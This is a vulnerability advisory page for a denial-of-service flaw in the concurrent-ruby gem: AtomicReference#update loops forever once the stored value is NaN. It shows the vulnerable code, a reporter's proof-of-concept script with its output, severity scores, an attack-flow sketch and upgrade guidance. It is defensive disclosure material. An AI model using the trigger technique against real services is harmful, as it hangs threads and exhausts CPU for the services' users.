Skip to main content

concurrent-ruby EUVDEUVD-2026-38810

| CVE-2026-54904 HIGH
Loop with Unreachable Exit Condition (Infinite Loop) (CWE-835)
2026-06-19 https://github.com/ruby-concurrency/concurrent-ruby GHSA-h8w8-99g7-qmvj
8.2
CVSS 4.0 · Vendor: https://github.com/ruby-concurrency/concurrent-ruby
Share

Severity by source

Vendor (https://github.com/ruby-concurrency/concurrent-ruby) PRIMARY
8.2 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
5.9 MEDIUM

Network-reachable with no auth or interaction, but AC:H reflects the required app-specific pattern and NaN-coercion precondition; impact is availability-only (CPU exhaustion/hang), so C:N/I:N/A:H.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Red Hat
5.9 MEDIUM
qualitative

Primary rating from Vendor (https://github.com/ruby-concurrency/concurrent-ruby).

CVSS VectorVendor: https://github.com/ruby-concurrency/concurrent-ruby

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

6
Analysis Updated
Jun 24, 2026 - 17:32 vuln.today
v3 (cvss_changed)
Analysis Updated
Jun 24, 2026 - 17:32 vuln.today
v2 (cvss_changed)
Re-analysis Queued
Jun 24, 2026 - 17:22 vuln.today
cvss_changed
CVSS changed
Jun 24, 2026 - 17:22 NVD
8.2 (HIGH)
Source Code Evidence Fetched
Jun 19, 2026 - 21:37 vuln.today
Analysis Generated
Jun 19, 2026 - 21:37 vuln.today

DescriptionCVE.org

Summary

Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.

The issue is caused by the interaction between:

  • AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
  • Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
  • Ruby NaN semantics, where Float::NAN == Float::NAN is always false.

As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.

Version

Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab

Details

AtomicReference#update retries until compare_and_set returns true:

ruby
def update
  true until compare_and_set(old_value = get, new_value = yield(old_value))
  new_value
end

For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:

ruby
def compare_and_set(old_value, new_value)
  if old_value.kind_of? Numeric
    while true
      old = get

      return false unless old.kind_of? Numeric
      return false unless old == old_value

      result = _compare_and_set(old, new_value)
      return result if result
    end
  else
    _compare_and_set(old_value, new_value)
  end
end

When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.

This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.

PoC

ruby
#!/usr/bin/env ruby
# frozen_string_literal: true

require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'

puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"

ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false

worker = Thread.new do
  ref.update do |_old_value|
    attempts += 1
    0.0
  end
  finished = true
end

sleep 0.25

puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"

if worker.alive? && !finished && attempts > 1000
  puts 'result=REPRODUCED busy retry loop; update did not complete'
else
  puts 'result=NOT_REPRODUCED'
end

worker.kill
worker.join

control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
  control_attempts += 1
  old_value + 1.0
end

puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"

Log evidence

text
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0

Impact

This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.

Credit

Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))

AnalysisAI

Denial of service in the concurrent-ruby gem (versions through 1.3.6) allows attackers to cause CPU exhaustion and permanent thread hangs by forcing an externally-derived numeric value stored in a Concurrent::AtomicReference to become Float::NAN. Because Ruby evaluates Float::NAN == Float::NAN as false, any subsequent call to AtomicReference#update livelocks - endlessly re-running the caller's block and pinning a CPU core, as the included reporter PoC demonstrates (over 1.9 million spin iterations in 250 ms). …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Identify service storing untrusted numeric in AtomicReference
Delivery
Supply input coercing value to Float::NAN
Exploit
AtomicReference holds NaN
Install
Application calls #update on reference
C2
compare_and_set NaN==NaN always false
Execute
update busy-loops re-running block
Impact
CPU exhaustion and permanent request/job hang

Vulnerability AssessmentAI

Exploitation Exploitation requires that the target application (1) stores a numeric (Float) value derived from attacker- or upstream-influenced data inside a Concurrent::AtomicReference, (2) allows that value to become Float::NAN - typically via malformed numeric input or operations such as 0.0/0.0 - without sanitizing for non-finite floats, and (3) subsequently invokes AtomicReference#update on that reference. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The provided CVSS 4.0 score is 8.2 (High) with vector AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H - network-reachable, low attack complexity, no privileges or user interaction, but with an Attack Requirement (AT:P) and impact limited strictly to Availability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An application stores an externally-derived numeric metric (for example a price, sensor reading, or rate parsed from an upstream API or user input) in a Concurrent::AtomicReference. An attacker or a faulty upstream feed supplies a value that coerces to Float::NAN (e.g. …
Remediation Vendor-released patch: upgrade concurrent-ruby to 1.3.7 or later, then bump the dependency in your Gemfile/gemspec and run bundle update concurrent-ruby followed by redeploy; this is the primary and recommended fix per advisory GHSA-h8w8-99g7-qmvj (https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify all systems and applications using concurrent-ruby gem and document affected versions. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise High Availability Extension 15 SP7 Not-Affected
SUSE Linux Enterprise High Availability Extension 15 SP7 Affected
SUSE Linux Enterprise High Availability Extension 15 SP7 Affected
SUSE Linux Enterprise High Availability Extension 16.0 Affected
SUSE Linux Enterprise High Availability Extension 16.1 Affected

Share

EUVD-2026-38810 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy